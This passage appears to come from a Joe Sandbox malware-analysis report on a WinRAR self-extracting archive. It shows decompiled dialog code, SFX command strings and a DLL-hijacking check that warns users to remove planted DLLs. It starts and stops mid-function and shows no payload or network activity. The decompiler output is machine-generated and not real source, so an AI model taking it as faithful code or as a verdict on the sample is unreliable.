										__eflags = _t189;
										 *(_t326 + 0x14) = _t189;
										_t321 = _t189;
									} else {
										_t321 = 0xa0;
									}
									_t190 = E013AD192(0x96);
									E013B8CCA(_t307, E013AD192(_t321), _t190, 0x30);
									goto L125;
								}
							}
							_t277 = 1;
							__eflags =  *0x13e20f9;
							if( *0x13e20f9 == 0) {
								goto L26;
							}
							goto L25;
						}
						__eflags =  *0x13fa95c;
						if( *0x13fa95c == 0) {
							goto L23;
						} else {
							__eflags =  *0x13fa95d;
							_t254 = _t149 & 0xffffff00 |  *0x13fa95d == 0x00000000;
							__eflags = _t254;
							 *0x13fa95d = _t254;
							_t255 = E013AD192((0 | _t254 != 0x00000000) + 0xe6);
							_t277 = 1;
							SetDlgItemTextW(_t307, 1, _t255);
							while(1) {
								__eflags =  *0x13fa95d;
								if( *0x13fa95d == 0) {
									goto L125;
								}
								__eflags =  *0x13e20ff;
								if( *0x13e20ff != 0) {
									goto L125;
								}
								_t259 = GetMessageW(_t326 - 0x64, 0, 0, 0);
								__eflags = _t259;
								if(_t259 == 0) {
									goto L125;
								} else {
									_t261 =  *0x13daab4(_t307, _t326 - 0x64);
									__eflags = _t261;
									if(_t261 == 0) {
										TranslateMessage(_t326 - 0x64);
										DispatchMessageW(_t326 - 0x64);
									}
									continue;
								}
							}
							goto L125;
						}
					}
					_t266 = _t149 - 1;
					__eflags = _t266;
					if(_t266 == 0) {
						_t277 = 1;
						__eflags =  *0x13e2104;
						 *0x13e20ff = 1;
						if( *0x13e2104 == 0) {
							goto L12;
						}
						__eflags =  *0x13e20f4;
						if( *0x13e20f4 != 0) {
							goto L125;
						}
						goto L12;
					}
					__eflags = _t266 == 0x65;
					if(_t266 == 0x65) {
						_t270 = E013A1227(_t307, E013AD192(0x64), _t326 - 0x1164);
						__eflags = _t270;
						if(_t270 != 0) {
							SetDlgItemTextW(_t307, 0x66, _t326 - 0x1164);
						}
						goto L1;
					}
					goto L7;
				}
				L1:
				_t116 = 1;
				goto L126;
			}

0x013b9b4e
0x013b9b4e
0x013b9b53
0x013b9b5d
0x013b9b63
0x013b9b67
0x013b9b6b
0x013b9b84
0x013b9b8e
0x013b9b8e
0x013b9b94
0x013ba230
0x013ba235
0x013ba23c
0x013ba23d
0x013ba243
0x013ba249
0x013ba24b
0x013ba255
0x013ba255
0x013ba25b
0x013ba260
0x013ba262
0x013ba26f
0x013ba26f
0x013ba27e
0x013ba28d
0x013ba290
0x013ba2a2
0x013ba2aa
0x013ba2ac
0x013ba2b4
0x013ba2b6
0x013ba2b9
0x013ba2be
0x013ba2c0
0x013ba2c0
0x013ba2c8
0x013ba2cf
0x013ba2d4
0x013ba2d9
0x013ba2de
0x013ba2e3
0x013ba2e4
0x013ba2eb
0x013ba2f0
0x013ba2f2
0x013ba2f4
0x013ba2f4
0x013ba2fa
0x013ba301
0x013ba303
0x013ba305
0x013ba30b
0x013ba30c
0x013ba30c
0x013ba311
0x013ba318
0x013ba328
0x013ba33b
0x013ba33b
0x013ba341
0x013ba348
0x013ba3f9
0x013ba3f9
0x013ba400
0x013ba4a9
0x013ba4a9
0x013ba4b0
0x013ba4b5
0x013ba4b5
0x013ba4bb
0x013ba4c2
0x013ba4c9
0x013ba4d3
0x013ba4d3
0x013ba4d8
0x013ba4dd
0x013ba4df
0x013ba4e1
0x013ba4e8
0x013ba4ea
0x013ba4ec
0x013ba4ed
0x013ba4f2
0x013ba4f3
0x013ba4f5
0x013ba4ff
0x013ba4f7
0x013ba4f7
0x013ba4f7
0x013ba4f5
0x013ba4e8
0x013ba505
0x013ba50c
0x013ba51b
0x013ba51b
0x00000000
0x013ba50c
0x013ba406
0x013ba40d
0x00000000
0x00000000
0x013ba413
0x013ba41a
0x00000000
0x00000000
0x013ba420
0x013ba422
0x013ba427
0x013ba42e
0x013ba42e
0x013ba434
0x013ba43f
0x013ba43f
0x013ba445
0x013ba450
0x013ba461
0x013ba479
0x00000000
0x013ba479
0x013ba447
0x013ba44e
0x00000000
0x00000000
0x00000000
0x013ba44e
0x013ba436
0x013ba43d
0x00000000
0x00000000
0x00000000
0x013ba47e
0x013ba47e
0x013ba47f
0x013ba47f
0x013ba493
0x013ba4a1
0x013ba4a6
0x00000000
0x013ba34e
0x013ba34e
0x013ba350
0x013ba356
0x013ba357
0x013ba35c
0x013ba361
0x013ba363
0x013ba365
0x013ba36c
0x013ba374
0x013ba382
0x013ba38d
0x013ba392
0x013ba36c
0x013ba393
0x013ba399
0x013ba3ec
0x013ba3ec
0x013ba3ed
0x013ba3f3
0x013ba3f4
0x00000000
0x013ba39b
0x013ba39c
0x013ba3a2
0x013ba3a8
0x00000000
0x00000000
0x013ba3aa
0x013ba3b1
0x00000000
0x00000000
0x013ba3b3
0x013ba3b5
0x013ba3bb
0x013ba3bc
0x013ba3c1
0x013ba3c8
0x00000000
0x00000000
0x013ba3de
0x013ba3e4
0x013ba3e6
0x013b9cda
0x013b9cda
0x013b9ce0
0x013b9ce0
0x013b9c04
0x013b9c05
0x013ba521
0x013ba521
0x013ba523
0x013ba529
0x013ba533
0x013ba533
0x00000000
0x013ba3e6
0x013ba399
0x013ba348
0x013b9b9a
0x013b9b9d
0x013b9bb1
0x013b9bb1
0x00000000
0x013b9bb1
0x013b9ba2
0x013b9ba2
0x013b9ba5
0x013b9c10
0x013b9c17
0x013b9caf
0x013b9caf
0x013b9cbf
0x013b9cc5
0x013b9ccc
0x013b9ce6
0x013b9ced
0x013b9d01
0x013b9d07
0x013b9d0e
0x013b9d10
0x013b9d22
0x013b9d31
0x013b9d33
0x013b9d33
0x013b9d39
0x013b9d3f
0x013b9d46
0x013b9d63
0x013b9d70
0x013b9d93
0x013b9d98
0x013b9d9b
0x013b9d48
0x013b9d4d
0x013b9d4d
0x013b9da4
0x013b9da9
0x013b9db0
0x013b9db9
0x013b9db9
0x013b9dbe
0x013b9dc8
0x013b9dc9
0x013b9dcc
0x013b9dd9
0x013b9dda
0x013b9ddc
0x013b9def
0x013b9dfb
0x013b9dfd
0x013b9e00
0x013b9e02
0x013b9e15
0x013b9e15
0x013b9e18
0x013b9e18
0x013b9e1e
0x013b9e20
0x013b9e8f
0x013b9e8f
0x013b9e93
0x013ba0d7
0x013ba0dd
0x013ba0e7
0x013ba0ff
0x013ba105
0x013ba112
0x013ba11d
0x013ba11f
0x013ba121
0x013ba12c
0x013ba12c
0x013ba135
0x013ba135
0x013ba13b
0x013ba13d
0x013ba143
0x013ba144
0x013ba149
0x013ba14b
0x013ba151
0x013ba152
0x013ba157
0x013ba15c
0x013ba15d
0x013ba163
0x013ba168
0x013ba16a
0x013ba170
0x013ba177
0x013ba178
0x013ba17d
0x013ba184
0x013ba186
0x013ba18d
0x013ba18f
0x013ba196
0x013ba198
0x013ba19a
0x013ba1a0
0x013ba1a1
0x013ba1a1
0x013ba196
0x013ba18d
0x013ba1a9
0x013ba1ae
0x013ba1ae
0x013ba1b5
0x00000000
0x013ba1b5
0x013b9e99
0x013b9ea0
0x013b9ea0
0x013b9ea3
0x013b9ea3
0x013b9ea5
0x013b9ea9
0x013b9eab
0x013ba06d
0x013ba06d
0x013ba071
0x013ba081
0x013ba09a
0x013ba0a8
0x013ba0c2
0x013ba0c7
0x013ba0c7
0x013b9c02
0x013b9c02
0x00000000
0x013b9c02
0x013b9ebf
0x013b9ed6
0x013b9edb
0x013b9ef8
0x013b9efd
0x013b9f00
0x013b9f0d
0x013b9f14
0x013b9f1d
0x013b9f35
0x013b9f38
0x013b9f3f
0x013b9f42
0x013b9f45
0x013b9f52
0x013b9f54
0x013b9f57
0x013b9f59
0x013b9fe4
0x013b9f5f
0x013b9f5f
0x013b9f66
0x013b9f6c
0x013b9f6e
0x013b9f7b
0x013b9f7b
0x013b9f87
0x013b9f93
0x013b9f9f
0x013b9faa
0x013b9fb6
0x013b9fd4
0x013b9fd7
0x013b9fdc
0x013b9fdc
0x013b9feb
0x013b9fff
0x013ba010
0x013ba015
0x013ba017
0x013ba051
0x013ba054
0x00000000
0x013ba019
0x013ba021
0x013ba027
0x013ba027
0x013ba027
0x013ba02b
0x013ba02e
0x013ba02e
0x013ba031
0x00000000
0x00000000
0x013ba035
0x013ba03e
0x013ba03f
0x013ba042
0x013ba045
0x00000000
0x00000000
0x00000000
0x013ba045
0x013ba04a
0x013ba057
0x013ba057
0x013ba05b
0x013ba05e
0x013ba067
0x013ba067
0x00000000
0x013ba05b
0x013ba017
0x013b9e22
0x013b9e24
0x00000000
0x00000000
0x013b9e3e
0x013b9e43
0x013b9e4c
0x013b9e51
0x013b9e5b
0x013b9e5d
0x013b9e64
0x013b9e69
0x013b9e6c
0x013b9e6e
0x013b9e70
0x013b9e72
0x013b9e75
0x013b9e77
0x013b9e77
0x013b9e75
0x013b9e7a
0x013b9e7a
0x013b9e7a
0x013b9e84
0x013b9e89
0x00000000
0x013b9e89
0x013b9e04
0x013b9e06
0x013b9e09
0x013b9e0c
0x00000000
0x00000000
0x013b9e0e
0x013b9e10
0x00000000
0x013b9dde
0x013b9dde
0x013b9de0
0x013b9de3
0x013b9dea
0x013b9dec
0x00000000
0x013b9dec
0x013b9de5
0x013b9de8
0x00000000
0x00000000
0x00000000
0x013b9de8
0x013b9cef
0x013b9cf1
0x013b9cf2
0x013b9cf4
0x013ba1ba
0x013ba1ba
0x013ba1c1
0x00000000
0x00000000
0x013ba1c7
0x013ba1c9
0x00000000
0x00000000
0x013ba1d4
0x013ba1e2
0x013ba1e8
0x013ba1ee
0x013ba1f1
0x013ba1fc
0x013ba206
0x013ba206
0x013ba20b
0x013ba20e
0x013ba1f3
0x013ba1f3
0x013ba1f3
0x013ba217
0x013ba225
0x00000000
0x013ba225
0x013b9ced
0x013b9cd0
0x013b9cd1
0x013b9cd8
0x00000000
0x00000000
0x00000000
0x013b9cd8
0x013b9c1d
0x013b9c24
0x00000000
0x013b9c2a
0x013b9c2a
0x013b9c31
0x013b9c36
0x013b9c38
0x013b9c47
0x013b9c4f
0x013b9c52
0x013b9ca1
0x013b9ca1
0x013b9ca8
0x013b9caa
0x013b9caa
0x013b9c5a
0x013b9c61
0x00000000
0x00000000
0x013b9c70
0x013b9c76
0x013b9c78
0x00000000
0x013b9c7e
0x013b9c83
0x013b9c89
0x013b9c8b
0x013b9c91
0x013b9c9b
0x013b9c9b
0x00000000
0x013b9c8b
0x013b9c78
0x00000000
0x013b9ca1
0x013b9c24
0x013b9ba7
0x013b9ba7
0x013b9baa
0x013b9be5
0x013b9be6
0x013b9bed
0x013b9bf3
0x00000000
0x00000000
0x013b9bf5
0x013b9bfc
0x00000000
0x00000000
0x00000000
0x013b9bfc
0x013b9bac
0x013b9baf
0x013b9bc8
0x013b9bcd
0x013b9bcf
0x013b9bdb
0x013b9bdb
0x00000000
0x013b9bcf
0x00000000
0x013b9baf
0x013b9b86
0x013b9b88
0x00000000

APIs

__EH_prolog.LIBCMT ref: 013B9B53

Part of subcall function 013A12E7: GetDlgItem.USER32(00000000,00003021), ref: 013A132B
Part of subcall function 013A12E7: SetWindowTextW.USER32(00000000,013D02E4), ref: 013A1341

Strings

__tmp_rar_sfx_access_check_%u, xrefs: 013B9E2D
-el -s2 "-d%s" "-sp%s", xrefs: 013B9EE7
@, xrefs: 013B9F0D
STARTDLG, xrefs: 013B9B72
winrarsfxmappingfile.tmp, xrefs: 013B9F22
"%s"%s, xrefs: 013BA089
<, xrefs: 013B9F00
LICENSEDLG, xrefs: 013BA3D3

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: H_prologItemTextWindow
String ID: "%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp
API String ID: 810644672-2803697902
Opcode ID: 316c951f05e4b17314cc34635ae73261f9d7a2aadec99344b2b2409738f65408
Instruction ID: 05fd969935797dac0e1ab40646a33421188dca4ea921241ff9010a935f589554
Opcode Fuzzy Hash: 316c951f05e4b17314cc34635ae73261f9d7a2aadec99344b2b2409738f65408
Instruction Fuzzy Hash: F24223B0A40319AFFB319B68AD89FEB3BADAB1570CF400059F745A74C5E7B48944CB61

Uniqueness

Uniqueness Score: -1.00%

Function 013AF3A5 Relevance: 51.1, APIs: 22, Strings: 7, Instructions: 314
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 76%

			E013AF3A5(void* __edx, char _a3, long _a4, CHAR* _a8, CHAR* _a12, CHAR* _a16, CHAR* _a20, CHAR* _a24, CHAR* _a28, CHAR* _a32, CHAR* _a36, CHAR* _a40, CHAR* _a44, CHAR* _a48, CHAR* _a52, CHAR* _a56, CHAR* _a60, CHAR* _a64, CHAR* _a68, CHAR* _a72, CHAR* _a76, CHAR* _a80, CHAR* _a84, CHAR* _a88, CHAR* _a92, CHAR* _a96, CHAR* _a100, CHAR* _a104, CHAR* _a108, CHAR* _a112, CHAR* _a116, CHAR* _a120, CHAR* _a124, CHAR* _a128, CHAR* _a132, CHAR* _a136, CHAR* _a140, CHAR* _a144, CHAR* _a148, CHAR* _a152, CHAR* _a156, CHAR* _a160, CHAR* _a164, CHAR* _a168, CHAR* _a172, CHAR* _a176, CHAR* _a180, CHAR* _a184, CHAR* _a188, CHAR* _a192, CHAR* _a196, CHAR* _a200, CHAR* _a204, CHAR* _a208, CHAR* _a212, CHAR* _a216, CHAR* _a220, CHAR* _a224, CHAR* _a228, CHAR* _a232, CHAR* _a236, CHAR* _a240, CHAR* _a244, char _a248, char _a252, short _a756, short _a760, char _a768, short _a772, char _a4848, char _a4852, void _a4860, char _a4864, short _a4868, char _a9152, char _a9160, void _a13260, signed char _a46032) {
				char _v1;
				long _v4;
				char* _t118;
				void* _t126;
				int _t130;
				long _t141;
				int _t167;
				_Unknown_base(*)()* _t176;
				_Unknown_base(*)()* _t177;
				signed char _t184;
				struct _SECURITY_ATTRIBUTES* _t197;
				long _t199;
				void* _t200;
				struct HINSTANCE__* _t203;
				signed int _t205;
				signed int _t207;
				void* _t208;
				signed int _t209;
				int _t210;
				void* _t212;

				E013BCEC0();
				_push(_t209);
				_a3 = 0;
				_t203 = GetModuleHandleW(L"kernel32");
				if(_t203 == 0) {
					L5:
					_t118 =  *0x13da080; // 0x13d0808
					_t210 = _t209 | 0xffffffff;
					_t204 = 0x800;
					_a8 = L"version.dll";
					_a12 = L"DXGIDebug.dll";
					_a16 = L"sfc_os.dll";
					_a20 = L"SSPICLI.DLL";
					_a24 = L"rsaenh.dll";
					_a28 = L"UXTheme.dll";
					_a32 = L"dwmapi.dll";
					_a36 = L"cryptbase.dll";
					_a40 = L"lpk.dll";
					_a44 = L"usp10.dll";
					_a48 = L"clbcatq.dll";
					_a52 = L"comres.dll";
					_a56 = L"ws2_32.dll";
					_a60 = L"ws2help.dll";
					_a64 = L"psapi.dll";
					_a68 = L"ieframe.dll";
					_a72 = L"ntshrui.dll";
					_a76 = L"atl.dll";
					_a80 = L"setupapi.dll";
					_a84 = L"apphelp.dll";
					_a88 = L"userenv.dll";
					_a92 = L"netapi32.dll";
					_a96 = L"shdocvw.dll";
					_a100 = L"crypt32.dll";
					_a104 = L"msasn1.dll";
					_a108 = L"cryptui.dll";
					_a112 = L"wintrust.dll";
					_a116 = L"shell32.dll";
					_a120 = L"secur32.dll";
					_a124 = L"cabinet.dll";
					_a128 = L"oleaccrc.dll";
					_a132 = L"ntmarta.dll";
					_a136 = L"profapi.dll";
					_a140 = L"WindowsCodecs.dll";
					_a144 = L"srvcli.dll";
					_a148 = L"cscapi.dll";
					_a152 = L"slc.dll";
					_a156 = L"imageres.dll";
					_a160 = L"dnsapi.DLL";
					_a164 = L"iphlpapi.DLL";
					_a168 = L"WINNSI.DLL";
					_a172 = L"netutils.dll";
					_a176 = L"mpr.dll";
					_a180 = L"devrtl.dll";
					_a184 = L"propsys.dll";
					_a188 = L"mlang.dll";
					_a192 = L"samcli.dll";
					_a196 = L"samlib.dll";
					_a200 = L"wkscli.dll";
					_a204 = L"dfscli.dll";
					_a208 = L"browcli.dll";
					_a212 = L"rasadhlp.dll";
					_a216 = L"dhcpcsvc6.dll";
					_a220 = L"dhcpcsvc.dll";
					_a224 = L"XmlLite.dll";
					_a228 = L"linkinfo.dll";
					_a232 = L"cryptsp.dll";
					_a236 = L"RpcRtRemote.dll";
					_a240 = L"aclui.dll";
					_a244 = L"dsrole.dll";
					_a248 = L"peerdist.dll";
					if( *_t118 == 0x78) {
						L14:
						GetModuleFileNameW(0,  &_a772, _t204);
						E013AF160( &_a9160, E013AB8DC(_t225,  &_a772), _t204);
						_t197 = 0;
						_t205 = 0;
						do {
							if(E013AA930() < 0x600) {
								_t126 = 0;
								__eflags = 0;
							} else {
								_t126 = E013AF35B( *((intOrPtr*)(_t212 + 0x18 + _t205 * 4))); // executed
							}
							if(_t126 == 0) {
								L20:
								_push(0x800);
								E013AB952(_t229,  &_a772,  *((intOrPtr*)(_t212 + 0x1c + _t205 * 4)));
								_t130 = GetFileAttributesW( &_a760); // executed
								if(_t130 != _t210) {
									_t197 =  *((intOrPtr*)(_t212 + 0x18 + _t205 * 4));
									L24:
									if(_v1 != 0) {
										L30:
										_t236 = _t197;
										if(_t197 == 0) {
											return _t130;
										}
										E013AB926(_t236,  &_a768);
										if(E013AA930() < 0x600) {
											_push( &_a9160);
											_push( &_a768);
											E013A3F2B( &_a4864, 0x864, L"Please remove %s from %s folder. It is unsecure to run %s until it is done.", _t197);
											_t212 = _t212 + 0x18;
											_t130 = AllocConsole();
											__eflags = _t130;
											if(_t130 != 0) {
												__imp__AttachConsole(GetCurrentProcessId());
												_t141 = E013C20A3( &_a4860);
												WriteConsoleW(GetStdHandle(0xfffffff4),  &_a4860, _t141,  &_v4, 0);
												Sleep(0x2710);
												_t130 = FreeConsole();
											}
										} else {
											E013AF35B(L"dwmapi.dll");
											E013AF35B(L"uxtheme.dll");
											_push( &_a9152);
											_push( &_a760);
											E013A3F2B( &_a4852, 0x864, E013AD192(0xf1), _t197);
											_t212 = _t212 + 0x18;
											_t130 = E013B8CCA(0,  &_a4848, E013AD192(0xf0), 0x30);
										}
										ExitProcess(0);
									}
									_t207 = 0;
									while(1) {
										_push(0x800);
										E013AB952(0,  &_a768,  *((intOrPtr*)(_t212 + 0x3c + _t207 * 4)));
										_t130 = GetFileAttributesW( &_a756);
										if(_t130 != _t210) {
											break;
										}
										_t207 = _t207 + 1;
										if(_t207 < 0x35) {
											continue;
										}
										goto L30;
									}
									_t197 =  *((intOrPtr*)(_t212 + 0x38 + _t207 * 4));
									goto L30;
								}
							} else {
								_t130 = CompareStringW(0x400, 0x1001,  *(_t212 + 0x24 + _t205 * 4), _t210, L"DXGIDebug.dll", _t210); // executed
								_t229 = _t130 - 2;
								if(_t130 != 2) {
									goto L21;
								}
								goto L20;
							}
							L21:
							_t205 = _t205 + 1;
						} while (_t205 < 8);
						goto L24;
					}
					_t199 = E013C461A(_t185, _t118);
					if(_t199 == 0) {
						goto L14;
					}
					GetModuleFileNameW(0,  &_a4868, 0x800);
					_t208 = CreateFileW( &_a4868, 0x80000000, 1, 0, 3, 0, 0);
					if(_t208 == _t210 || SetFilePointer(_t208, _t199, 0, 0) != _t199) {
						L13:
						CloseHandle(_t208);
						_t204 = 0x800;
						goto L14;
					} else {
						_t167 = ReadFile(_t208,  &_a13260, 0x7ffe,  &_a4, 0);
						_t224 = _t167;
						if(_t167 == 0) {
							goto L13;
						}
						_push(0x104);
						 *((short*)(_t212 + 0x33e0 + (_a4 >> 1) * 2)) = 0;
						_push( &_a252);
						_push( &_a13260);
						while(1) {
							_t200 = E013AEF59(_t224);
							_t225 = _t200;
							if(_t200 == 0) {
								goto L13;
							}
							E013AF35B( &_a252);
							_push(0x104);
							_push( &_a248);
							_push(_t200);
						}
						goto L13;
					}
				}
				_t176 = GetProcAddress(_t203, "SetDllDirectoryW");
				_t184 = _a46032;
				if(_t176 != 0) {
					asm("sbb ecx, ecx");
					_t185 =  ~(_t184 & 0x000000ff) & 0x013d02e4;
					 *_t176( ~(_t184 & 0x000000ff) & 0x013d02e4);
				}
				_t177 = GetProcAddress(_t203, "SetDefaultDllDirectories");
				if(_t177 != 0) {
					_t185 = ((_t184 == 0x00000000) - 0x00000001 & 0xfffff800) + 0x1000;
					 *_t177(((_t184 == 0x00000000) - 0x00000001 & 0xfffff800) + 0x1000);
					_v1 = 1;
				}
				goto L5;
			}

0x013af3aa
0x013af3b0
0x013af3b8
0x013af3c3
0x013af3c7
0x013af41a
0x013af41a
0x013af41f
0x013af428
0x013af42d
0x013af435
0x013af440
0x013af448
0x013af450
0x013af458
0x013af460
0x013af468
0x013af470
0x013af478
0x013af480
0x013af488
0x013af490
0x013af498
0x013af4a0
0x013af4a8
0x013af4b0
0x013af4b8
0x013af4c0
0x013af4c8
0x013af4d0
0x013af4d8
0x013af4e0
0x013af4e8
0x013af4f0
0x013af4f8
0x013af500
0x013af50b
0x013af516
0x013af521
0x013af52c
0x013af537
0x013af542
0x013af54d
0x013af558
0x013af563
0x013af56e
0x013af579
0x013af584
0x013af58f
0x013af59a
0x013af5a5
0x013af5b0
0x013af5bb
0x013af5c6
0x013af5d1
0x013af5dc
0x013af5e7
0x013af5f2
0x013af5fd
0x013af608
0x013af613
0x013af61e
0x013af629
0x013af634
0x013af63f
0x013af64a
0x013af655
0x013af660
0x013af66b
0x013af676
0x013af681
0x013af74f
0x013af75a
0x013af773
0x013af77e
0x013af780
0x013af782
0x013af78c
0x013af799
0x013af799
0x013af78e
0x013af792
0x013af792
0x013af79d
0x013af7bf
0x013af7bf
0x013af7d0
0x013af7dd
0x013af7e1
0x013af7eb
0x013af7ef
0x013af7f4
0x013af828
0x013af828
0x013af82a
0x013af941
0x013af941
0x013af838
0x013af847
0x013af8b6
0x013af8be
0x013af8d2
0x013af8d7
0x013af8da
0x013af8e0
0x013af8e2
0x013af8eb
0x013af900
0x013af918
0x013af923
0x013af929
0x013af929
0x013af849
0x013af84e
0x013af858
0x013af864
0x013af86c
0x013af886
0x013af88b
0x013af8a5
0x013af8a5
0x013af931
0x013af931
0x013af7f6
0x013af7f8
0x013af7f8
0x013af809
0x013af816
0x013af81a
0x00000000
0x00000000
0x013af81c
0x013af820
0x00000000
0x00000000
0x00000000
0x013af822
0x013af824
0x00000000
0x013af824
0x013af79f
0x013af7b4
0x013af7ba
0x013af7bd
0x00000000
0x00000000
0x00000000
0x013af7bd
0x013af7e3
0x013af7e3
0x013af7e4
0x00000000
0x013af7e9
0x013af68d
0x013af692
0x00000000
0x00000000
0x013af6a3
0x013af6c1
0x013af6c5
0x013af743
0x013af744
0x013af74a
0x00000000
0x013af6d7
0x013af6ec
0x013af6f2
0x013af6f4
0x00000000
0x00000000
0x013af6fe
0x013af703
0x013af712
0x013af71a
0x013af738
0x013af73d
0x013af73f
0x013af741
0x00000000
0x00000000
0x013af725
0x013af72a
0x013af736
0x013af737
0x013af737
0x00000000
0x013af738
0x013af6c5
0x013af3d5
0x013af3d7
0x013af3e0
0x013af3e7
0x013af3e9
0x013af3f0
0x013af3f0
0x013af3f8
0x013af3fc
0x013af40c
0x013af413
0x013af415
0x013af415
0x00000000

APIs

GetModuleHandleW.KERNEL32 ref: 013AF3BD
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 013AF3D5
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 013AF3F8
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 013AF6A3
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 013AF6BB
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 013AF6CD
ReadFile.KERNEL32(00000000,?,00007FFE,013D0858,00000000), ref: 013AF6EC
CloseHandle.KERNEL32(00000000), ref: 013AF744
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 013AF75A
CompareStringW.KERNEL32(00000400,00001001,013D08A4,?,DXGIDebug.dll,?,?,00000000,?,00000800), ref: 013AF7B4
GetFileAttributesW.KERNELBASE(?,?,013D0870,00000800,?,00000000,?,00000800), ref: 013AF7DD
GetFileAttributesW.KERNEL32(?,?,013D0930,00000800), ref: 013AF816

Part of subcall function 013AF35B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 013AF376
Part of subcall function 013AF35B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,013ADF18,Crypt32.dll,?,013ADF9C,?,013ADF7E,?,?,?,?), ref: 013AF398

_swprintf.LIBCMT ref: 013AF886
_swprintf.LIBCMT ref: 013AF8D2

Part of subcall function 013A3F2B: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 013A3F3E

AllocConsole.KERNEL32 ref: 013AF8DA
GetCurrentProcessId.KERNEL32 ref: 013AF8E4
AttachConsole.KERNEL32(00000000), ref: 013AF8EB
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 013AF911
WriteConsoleW.KERNEL32(00000000), ref: 013AF918
Sleep.KERNEL32(00002710), ref: 013AF923
FreeConsole.KERNEL32 ref: 013AF929
ExitProcess.KERNEL32 ref: 013AF931

Strings

SetDefaultDllDirectories, xrefs: 013AF3F2
DXGIDebug.dll, xrefs: 013AF435, 013AF7A0
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 013AF8C0
dwmapi.dll, xrefs: 013AF460, 013AF849
SetDllDirectoryW, xrefs: 013AF3CF
uxtheme.dll, xrefs: 013AF853
kernel32, xrefs: 013AF3B3

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l
String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$dwmapi.dll$kernel32$uxtheme.dll
API String ID: 1201351596-3298887752
Opcode ID: b7b37b67ce171eee9202be393d2a61d48ec1bfc0b068c511df023df3fd9900f9
Instruction ID: 033179e6f4c579c55a462e342567cae50ff533bb9880527e1bfbc57111577265
Opcode Fuzzy Hash: b7b37b67ce171eee9202be393d2a61d48ec1bfc0b068c511df023df3fd9900f9
Instruction Fuzzy Hash: 7AD150B6009385AAD67DDF64E848B9FBBECEB84B4CF40491DF1899B240C770954CCB62

Uniqueness

Uniqueness Score: -1.00%

Function 013BAA44 Relevance: 31.9, APIs: 14, Strings: 4, Instructions: 438
windowfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 50%

			E013BAA44(void* __edx) {
				intOrPtr _t215;
				void* _t220;
				intOrPtr _t278;
				void* _t291;
				WCHAR* _t293;
				void* _t296;
				WCHAR* _t297;
				void* _t302;

				_t291 = __edx;
				E013BCDF0(E013CF7D2, _t302);
				_t215 = 0x1bc80;
				E013BCEC0();
				if( *((intOrPtr*)(_t302 + 0xc)) == 0) {
					L169:
					 *[fs:0x0] =  *((intOrPtr*)(_t302 - 0xc));
					return _t215;
				}
				_push(0x1000);
				_push(_t302 - 0xe);
				_push(_t302 - 0xd);
				_push(_t302 - 0x5c84);
				_push(_t302 - 0xfc8c);
				_push( *((intOrPtr*)(_t302 + 0xc)));
				_t215 = E013B96EB();
				 *((intOrPtr*)(_t302 + 0xc)) = 0x1bc80;
				if(0x1bc80 != 0) {
					_t278 =  *((intOrPtr*)(_t302 + 0x10));
					do {
						_t220 = _t302 - 0x5c84;
						_t296 = _t302 - 0x1bc8c;
						_t293 = 6;
						goto L4;
						L6:
						while(E013B0B00(_t302 - 0xfc8c,  *((intOrPtr*)(0x13da16c + _t297 * 4))) != 0) {
							_t297 =  &(_t297[0]);
							if(_t297 < 0xe) {
								continue;
							} else {
								goto L167;
							}
						}
						if(_t297 > 0xd) {
							goto L167;
						}
						switch( *((intOrPtr*)(_t297 * 4 +  &M013BB654))) {
							case 0:
								__eflags = _t278 - 2;
								if(_t278 != 2) {
									goto L167;
								}
								_t299 = 0x800;
								E013B8B8D(_t302 - 0x7c84, 0x800);
								E013AA16C(E013AB5BE(_t302 - 0x7c84, _t302 - 0x5c84, _t302 - 0xdc8c, 0x800), _t278, _t302 - 0x8c8c, 0x800);
								 *(_t302 - 4) = _t293;
								E013AA2A6(_t302 - 0x8c8c, _t302 - 0xdc8c);
